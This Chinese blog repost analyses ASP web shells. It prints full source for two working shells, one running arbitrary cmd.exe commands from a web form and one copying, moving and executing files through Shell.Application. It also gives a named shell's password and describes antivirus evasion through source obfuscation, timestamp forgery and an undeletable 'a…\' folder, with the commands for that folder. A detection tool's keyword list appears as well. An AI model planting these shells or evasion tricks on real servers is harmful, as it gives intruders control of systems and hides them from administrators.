Asp木马技术分析
Asp木馬技術分析 現在很多的站點,為便于建站和后臺管理,都使用ASP動態程序。但這也為整個站點的安全帶來很大隱患,現在典型的網站攻擊就是通過植入ASP木馬,從而得到系統的控制權。早期的asp木馬一般有數個文件,隨著asp木馬的易用性、隱蔽性以及強大的可執行性,因此得到越來越的黑客和入侵者的青睞,asp木馬技術也就水漲船高,現在的asp木馬文件已經集成到一個文件,其大小也就二三十k,而且可以通過使用“asp木馬免殺工具2.0”等軟件來對asp源程序進行加密等方法,躲過防毒軟件對其的查殺。下面就對目前比較流行的木馬技術、木馬軟件以及木馬防殺毒技術進行介紹。 (一)木馬核心技術介紹 Asp木馬中最核心的技術就是利用腳本創建對象,然后利用cmd.exe命令來執行對文件的創建、刪除以及修改等操作。下面就目前較為流行的利用FSO以及不利用FSO技術的木馬程序源代碼進行介紹。 說明:FSO是對FileSystemObject的簡稱,IIS4以及后續版本中的ASP的文件操作都可以通過FileSystemObject實現,包括文本文件的讀寫目錄操作、文件的拷貝改名刪除等。FileSystemObject帶來方便的同時,也具有非常大的風險性,利用FileSystemObject可以篡改并下載Fat以及FAT32分區上的任何文件,即使是ntfs,如果沒有對權限進行很好的設置,同樣也能遭到破壞。 1.使用FSO技術的asp木馬 <%@ LANGUAGE="VBSCRIPT"??codepage ="936" %> <% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)?'使用Run方法創建一個新的進程,隱藏窗口并激活另一窗口,返回由應用程序返回的任何錯誤代碼 Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) '打開臨時文件szTempFile End If %> <HTML> <body bgcolor="#C0C0C0" text="#000000"> <FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name=".CMD" size=45 value="<%= szCMD %>"> <input type=submit value="執行" class=input> </FORM> <PRE> <% If (IsObject(oFile)) Then ' -- Read the output from our command and remove the temp file -- ' On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) '在網頁上輸出命令執行的結果 oFile.Close Call oFileSys.DeleteFile(szTempFile, True) '刪除臨時文件szTempFile End If %> </BODY> </HTML> 使用FSO技術的木馬通過下面的代碼來創建WSCRIPT.SHELL、WSCRIPT.NETWORK和?Scripting.FileSystemObject,然后通過Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)來調用常用的delete、copy、dir、net、netstat等一些DOS命令。 Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 其原型為: cmd.exe /c?“dos命令”?>?“文件名稱” 如要查看c盤所有文件并將查看結果輸出到viewdrive_c.txt的命令為: cmd.exe/c??dir??c:\ >viewdrive_c.txt 說明:“>”是將命令執行的結果輸入到一個文件。“文件名稱”中如果沒有指定路徑則默認保存在當前目錄下。 注意:在輸入的命令之間要留一個空格。 利用FSO技術的asp木馬程序的原理為:從asp頁面獲取輸入的Dos命令,然后分別創建WSCRIPT.SHELL、WSCRIPT.NETWORK和?Scripting.FileSystemObject三個腳本對象,接著執行Dos命令解釋器并執行所輸入的Dos命令,并將輸入其命令的執行結果到一個臨時文件(szTempFile),然后打開臨時文件并將其結果回顯在網頁上,最后刪除臨時文件。運行結果如圖1所示。 2.非FSO技術的asp木馬 <form action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name=text value="<%=szCMD %>" size="20">??<font class=fonts>輸入要瀏覽的目錄,最后要加\</font><br> <input type=text name=text1 value="<%=szCMD1 %>" size="20">copy <input type=text name=text2 value="<%=szCMD2 %>" size="20"><br> <input type=text name=text3 value="<%=szCMD3 %>" size="20">move <input type=text name=text4 value="<%=szCMD4 %>" size="20"><br>路徑: <input type=text name=text5 value="<%=szCMD5 %>" size="20">程序: <input type=text name=text6 value="<%=szCMD6 %>" size="20"><br> <input type=submit name=sb value=發送命令?class=input> </form> </table> </center> </body> </html> <% szCMD = Request.Form("text")???'目錄瀏覽 if (szCMD <> "")??then set shell=server.createobject("shell.application") '建立shell對象 set fod1=shell.namespace(szcmd) set foditems=fod1.items for each co in foditems response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>" next end if %> <% szCMD1 = Request.Form("text1")??'目錄拷貝,不能進行文件拷貝 szCMD2 = Request.Form("text2") if szcmd1<>"" and szcmd2<>"" then set shell1=server.createobject("shell.application") '建立shell對象 set fod1=shell1.namespace(szcmd2) for i=len(szcmd1) to 1 step -1 if mid(szcmd1,i,1)="\" then path=left(szcmd1,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(szcmd1,len(szcmd1)-i) set fod2=shell1.namespace(path) set foditem=fod2.parsename(path2) fod1.copyhere foditem response.write "command completed success!" end if %> <% szCMD3 = Request.Form("text3")???'目錄移動 szCMD4 = Request.Form("text4") if szcmd3<>"" and szcmd4<>"" then set shell2=server.createobject("shell.application") '建立shell對象 set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1 if mid(szcmd3,i,1)="\" then path=left(szcmd3,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(szcmd3,len(szcmd3)-i) set fod2=shell2.namespace(path) set foditem=fod2.parsename(path2) fod1.movehere foditem response.write "command completed success!" end if %> <% szCMD5 = Request.Form("text5")????'執行程序到指定路徑 szCMD6 = Request.Form("text6") if szcmd5<>"" and szcmd6<>"" then set shell3=server.createobject("shell.application") '建立shell對象 shell3.namespace(szcmd5).items.item(szcmd6).invokeverb response.write "command completed success!" end if %> 以上代碼運行結果如圖2所示。不使用FSO技術的ASP木馬是創建一個Shell.Application對象,然后通過shell.namespace來對創建的對象進行操作。通過使用該種方法雖然不能執行net、del以及netstat等命令,但是它可以復制、移動文件及其文件夾以及執行系統中存在的特定程序。不過在每執行一次應用程序時都會打開一個進程,而且可能會報錯,通過任務控制器可以查看其打開的進程。 說明:Shell.Application對象提供了NameSpace(文件夾名)、CopyHere(<源>[,選項標志])和MoveHere(<源>[,選項標志])方法。NameSpace()方法可以得到文件夾的屬性,CopyHere()和MoveHere()分別對文件夾進行拷貝和移動。 (二)常用的asp木馬軟件 1.海陽頂端網asp木馬 在眾多的asp木馬中,海陽頂端網asp木馬應該是比較成熟的,也是用得最多的asp木馬,就其版本而言,到目前為止已經推出了數個版本:海陽頂端網asp木馬第一版、海陽頂端網asp木馬xp版、海陽頂端網asp木馬xp-net版、海陽頂端網asp木馬2003版、海陽頂端asp木馬安裝插件版以及海陽頂端網asp木馬2005版。早期的海陽頂端網asp木馬一般都有數個asp文件,后期的asp木馬把所有的文件都集成到一個文件中了,例如xp版和xp-net版集成后的文件大小也就二十多k。海陽頂端網asp木馬是用asp腳本語言編寫,提供在線更改、編輯、刪除任意文件。如果服務器上存在asp木馬程序,那么該服務器基本上就#¥%了。海陽頂端網asp木馬xp-net版初次運行界面如圖3所示,在下方的輸入密碼框中輸入“haiyangtop.126.com”后可以使用其集成功能的界面(圖4)。在該界面中可以方便的切換盤符,瀏覽、編輯、刪除和復制指定盤符下所選中的文件。使用該木馬來操作文件就如同在本機上操作文件一樣方便。 2.asp木馬免殺工具2.0 asp木馬免殺工具2.0是一款對asp源代碼進行加密的工具(圖5)。大小為545k,其中asp.exe為主程序,運行程序后選擇源木馬文件,然后先單擊“轉換”,最后單擊“加密”即可生成一個加密的asp木馬網頁文件。 3.思易ASP木馬追捕2.0 思易ASP木馬追捕2.0主要對文件中是否存在FSO、deletefolder、shell.application、wscript、xmlhttp、vbscript.encode、adodb.stream對象或者使用了其中的某些方法進行檢查,可以對利用變量創建對象、靜態對象以及自定義的關鍵字等進行搜索。不過該程序當對較大文件的檢索可能導致IIS停止響應,甚至可能導致服務器宕機,其運行界面如圖6所示。 (三)asp木馬防毒技術 在攻克主機植入asp木馬后,為了保護好自己的戰利品,防止系統管理員發現,黑客一般情況下都會對asp木馬進行保護,往往通過加密、更改時間以及使用特殊字符等手段來逃過被殺毒軟件的查出和避免系統管理員的發現。下面就對其經常使用的方法進行講解。 ?1.利用軟件對asp源代碼加密 目前有很多軟件可以對asp源代碼進行加密,例如asp木馬免殺工具2.0等。其原理是采用一定的算法將源代碼或者源代碼中的關鍵字進行某種轉換,經過轉換后,源代碼已經變為亂碼或者顯示為特定的字符形式。但是隨著殺毒技術的提高和版本的升級,經過加密后的asp木馬仍然不能保證躲過殺毒軟件的查殺。 2.修改asp木馬文件的時間 asp木馬上傳到服務器后,即使非常隱蔽,但是其文件修改時間的變化在正常文件中很容易被發現,因此有人通過修改木馬源程序文件的時間跟在服務器上的正常文件的時間一致來逃過被管理員發現。 3.利用特殊字符"\"來保護asp木馬 Windows在設計時已經考慮到不能使用“\”來作為文件及其文件夾的名字,但是在使用cmd.exe命令來創建文件時,如果其文件名中包含了“\”,則該文件名中的“\”將被忽略,但是所建立的文件夾還是會成功,只是不會顯示“\”(圖7)。利用"\"字符來保護asp木馬文件的原理為:在IIS設置的目錄下創建一個形入“a…\”的文件夾,然后將木馬文件復制到該文件夾中。復制成功后,可以在瀏覽其中輸入如下地址運行木馬文件:[url]http://localhost/aspmuma/[/url]asp.../xp.asp 說明:其中我們將xp.asp木馬文件復制到“asp…/”目錄中,其創建命令如下: mkdir a…\ copy xp.asp a…\ 創建成功后,可以在瀏覽器中看到一個為“a”的文件夾,但不能打開和刪除該文件夾,從而達到保護asp木馬文件的目的。
?本文轉自 simeon2005 51CTO博客,原文鏈接:http://blog.51cto.com/simeon/46572
?本文轉自 simeon2005 51CTO博客,原文鏈接:http://blog.51cto.com/simeon/46572
總結
- 上一篇: 格式工厂压缩视频方法分享
- 下一篇: 竞品分析之流程总结以及感悟